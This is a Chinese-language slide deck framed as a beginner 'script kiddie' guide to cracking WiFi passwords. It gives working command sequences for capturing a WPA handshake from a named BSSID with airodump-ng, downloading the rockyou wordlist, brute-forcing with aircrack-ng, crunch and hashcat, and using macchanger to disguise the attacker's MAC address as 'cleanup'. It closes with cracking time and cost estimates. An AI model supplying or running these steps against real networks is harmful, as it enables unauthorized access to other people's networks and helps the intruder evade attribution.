Tweet
Tweet

Slide 1

Slide 1 text

脚本小子入门 破解 WIFI 密码

Slide 2

Slide 2 text

设备 1. 一个支持 Monitor Mode 的 wifi 网卡 2. 最好是一台安装了 kali linux 的设备

Slide 3

Slide 3 text

步骤 1. 抓取 4-way handshake 2. 字典碰撞

Slide 4

Slide 4 text

4-way handshake

Slide 5

Slide 5 text

工具介绍 - airmon-ng - crunch - hashcat

Slide 6

Slide 6 text

airmon-ng airmon-ng start wlan0 airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0 curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w dict.txt hackme.cap

Slide 7

Slide 7 text

crunch # 语法 8 8 是生成密码的最小长度和最大长度 # 01234567890 是组合/排列构成密码的一组字符 crunch 8 8 0123456789 crunch 10 10 -t "%%%%%%%%%%" | aircrack-ng -a2 capture.cap -b 58:98:35:CB:A2:77 -w -

Slide 8

Slide 8 text

善后工作 - macchanger 伪装 mac 地址 macchanger accepts the following options: -h, --help Show summary of options. -V, --version Show version of program. -e, --endding Don’t change the vendor bytes. -a, --another Set random vendor MAC of the same kind. -A Set random vendor MAC of any kind. -r, --random Set fully random MAC. -l, --list[=keyword] Print known vendors ( with keyword in the vendor’s description string) -m, --mac XX:XX:XX:XX:XX:XX Set the MAC XX:XX:XX:XX:XX:XX

Slide 9

Slide 9 text

hashcat (World's fastest and most advanced password recovery utility) cap2hccapx.bin hackme.cap hackme.hccapx hashcat.exe -m 2500 capture.hccapx rockyou.txt hashcat.exe -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d

Slide 10

Slide 10 text

成本计算 神威·太湖之光 实际 93,014.6 TFLOPS The GTX 1080Ti promises 11.3 TFLOPS The GTX 1080 promises 9 TFLOPS The GTX 1070 promises 6.5 TFLOPS

Slide 11

Slide 11 text

8x Nvidia GTX 1080 Hashcat Benchmarks Hashtype: WPA/WPA2 Speed.Dev.#1.: 396.8 kH/s (96.10ms) Speed.Dev.#2.: 390.6 kH/s (93.39ms) Speed.Dev.#3.: 397.1 kH/s (92.82ms) Speed.Dev.#4.: 397.0 kH/s (96.09ms) Speed.Dev.#5.: 399.0 kH/s (97.15ms) Speed.Dev.#6.: 394.5 kH/s (96.68ms) Speed.Dev.#7.: 400.2 kH/s (92.12ms) Speed.Dev.#8.: 402.5 kH/s (96.29ms) Speed.Dev.#*.: 3177.6 kH/s

Slide 12

Slide 12 text

8 位密码 小写字母 + 数字 1x GTX1080 36^8/400/1024/60/60/24 = 79d 神威·太湖之光 36^8/400/1024/10000/60 = 11.4min 钱(0.3元/cpu/h) 11.4/60*0.3*10649600 = 607,027￥

Slide 13

Slide 13 text

8 位密码 大小写字母 + 数字 1x GTX1080 62^8/400/1024/60/60/24 = 6169.7d 神威·太湖之光 62^8/400/1024/10000/60/60 = 14.8h 钱(0.3元/cpu/h) 14.8*0.3*10649600 = 47,284,224￥

Slide 14

Slide 14 text

加密算法 1. 不可逆(MD5,SHA...) 2. 可逆 - 对称(DES，AES) - 非对称(RSA)